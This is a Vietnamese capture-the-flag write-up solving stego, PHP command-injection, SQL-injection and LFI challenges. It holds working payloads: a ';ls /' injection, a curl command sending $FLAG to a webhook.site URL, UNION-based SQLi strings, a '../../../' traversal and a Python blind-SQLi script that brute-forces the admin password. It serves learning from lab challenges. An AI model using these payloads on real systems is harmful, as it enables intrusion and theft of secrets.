Yet Another Stego Challenge
Attachment
- Ở đây đề bài cho 1 file ảnh với kích thước
0x0
kết hợp cùng tên đề bài mình đoán sẽ sửa 8 byte chiều dài và rộng để khôi phục lại bức ảnh ban đầu. - Tool mình sử dụng ở đây là png-dimensions-bruteforcer, điều chỉnh range bruteforce lên xíu ta sẽ thu được kết quả.
Flag: W1{d1meNsiOn_i5_cO0l_r19ht?}
<?php
if (strpos($_SERVER['REQUEST_URI'], '_')) {
die("no no no");
}
if (isset($_GET['input_data'])) {
$output = shell_exec("curl --head " . $_POST['input_data']);
echo $output;
}
show_source(__FILE__);
- Ở bài này source code khá đơn giản đầu tiên là mình phải bypass được ký tự
_
tronginput_data
, thì ở đây đơn giản ta chỉ cần URL encode ký tự_
sẽ bypass được điều kiện đầu tiên. - Sang với điều kiện thứ 2, trong đầu mình đặt ra 1 câu hỏi là làm sao có thể truyền cùng lúc data cho
$_GET
và$_POST
, giải pháp là ta sẽ sử dụng lệnhcurl
với option-d
hoặc có thể gửi trực tiếp request thông quaBurpSuite
- Câu lệnh hoàn chỉnh như sau:
curl -d input_data=%3Bls%20%2F http://45.122.249.68:20018/\?input%5fdata\=
- Request sẽ được gửi dưới dạng như sau
POST /?input%5fdata= HTTP/1.1
Host: 45.122.249.68:20018
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
input_data=%3Bls%20%2F
Flag: W1{ez_head1_huh}
<?php
if (isset($_GET['input_data'])) {
$output = shell_exec("curl --head " . $_GET['input_data']);
// echo $output;
}
show_source(__FILE__);
- Ở bài này thì ta truyền vào được
OS Command
nhưng câu hỏi đặt ra là Làm sao để đọc được kết quả ra đây? - Thì ở đây đầu tiên ta kiểm tra thấy sever không chặn kết nối ra ngoài, vậy nên giải pháp ở đây sẽ là đọc file và gửi nó ra ngoài Internet và bắt lại là xong.
- Payload:
; echo $FLAG | curl https://webhook.site/bb145fec-1626-4da3-b695-7cc86b11e295 --data-binary @-;
Flag: W1{webhook_not_so_bad_huh?}
Bài này quen quen 🐳
http://45.122.249.68:20017/
Attachment
- Bài này khá tương tự với 1 bài đã giải trong traning, cơ bản flag gồm 3 phần nằm hết ở database.
- Sơ qua về trang web thì ở trang
index.php
sẽ cung cấp cho ta 1 form login và qua filelogin.php
khi ta đăng nhập thành công sever sẽ redirect qua/news.php
. Ở dòng 13 ta có thể thực hiện SQL Injection để bypass qua phần login. - Có 1 chú ý là ở file
news.php
, sever sẽ kiểm tra xem$_SESSION['username']
của chúng ta có phải làadmin
hay không nên payload để SQLi phần login sẽ như sau:username
:admin
password
:' UNION SELECT username,password FROM users WHERE username='admin
- Ở
/news.php
có 1 đoạn code khá nhạy cảm giúp chúng ta có thể truyền vào biến$_GET['name']
qua đó có thể đọc nội dung từ database. - Payload cho Part 1:
' UNION SELECT flag, flag FROM secret --
- Ở Part 2 thì flag nằm trong 1 bảng ta chưa biết tên nên ta có thể sử dụng payload
' UNION SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS --
để in ra thông tin bao gồm tên các bảng và cột. - Payload cho Part 2:
' UNION SELECT flag_5959595959408498_5959595959408498, flag_5959595959408498_5959595959408498 FROM secret_8489498498112318_8489498498112318 --
- Ở Part 3 thì flag là mật khẩu của tài khoản
admin
, ở đây cách để khai thác sẽ làbruteforce
. Xoá cookie đang có để reset$_SESSION
rồi bruteforce password từ tranglogin.php
. Script bruteforce như sau: (ban đầu mình bruteforce theo kiểu truyền thống thì độ phức tạp khá lớn, hết giải có người anh chỉ điểm nên mình áp dụng binsearch giúp giảm độ phức tạp đi khá nhiều)
import requests
# charset = string.ascii_letters + string.digits + string.punctuation
url = "http://45.122.249.68:20017/login.php"
def check(pos, operator, mid):
data = {
"username": f"admin' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username = 'admin'), {pos}, 1)) {operator} {mid} -- ",
"password": "abc",
}
r = requests.post(url, data=data)
return r.url == "http://45.122.249.68:20017/news.php"
def bin_search(pos):
# Giới hạn trên mình tự tăng bằng tay vì trong flag có thêm icon nên mình sẽ tăng từ từ.
l, h = 0, 262144
while h - l > 1:
m = l + h >> 1
if check(pos, ">", m):
l = m
else:
h = m
return chr(h) if check(pos, "=", h) else None
passwd = ""
found = False
while not found:
found = True
c = bin_search(len(passwd) + 1)
if c:
passwd += c
found = False
print("Password: ", passwd)
if c == "}":
break
Flag: W1{part1_part2_part③_ⓓⓔⓙⓐⓥⓤ_福🐳😁}
Trang báo này đăng nhiều tin hay phết, dù là toàn gen từ ChatGPT... nhưng mà khoan đã, hình như trang web này có vấn đề gì đó... Bạn có thể tìm ra vấn đề của trang web này không?
http://45.122.249.68:20020/
Attachment
- Sơ qua về source code thì ở
Dockerfile
của backend thì ta thấy flag nằm ở/flag.txt
,Ctrl+Shift+F
thì thấy nội dung của file được sử dụng ởadmin/index.php
vậy thì trước tiên ta cần truy cập được endpoint này. - Ở file
index.php
của backend ta có thể thấy$_GET["id"]
được nối chuỗi trực tiếp vàoarticles/news
và đoạn code còn sử dụng 1 hàm khá nguy hiểm làinclude()
nên ta có thểLFI
đến endpointadmin/index.php
thông qua payload?id=../../../admin/index.php
- Nội dung của file
/flag.txt
được XOR vớiusername
và gán kết quả vào biến$_SESSION["id"]
- Giải thích sơ qua về hàm
do_xor
, hàm này thực hiện XOR 2 chuỗi nếu$str_2
có độ dài chưa bằng$str_1
sẽ thêm=
vào cuối$str_2
tới khi 2 chuỗi bằng độ dài. Hàm thực hiện XOR lần lượt từng ký tự và nối vào$result
và dùng-
để ngăn cách giữa các kết quả. - Vậy ở đây cần thực hiện
SQLi
để login thành công và có được$_SESSION["id"]
rồi thực hiệnreverse XOR
và lấy được flag. - Tuy biết cách giải nhưng chưa tìm được cách inject thành công nên mình cũng dừng lại ở đây.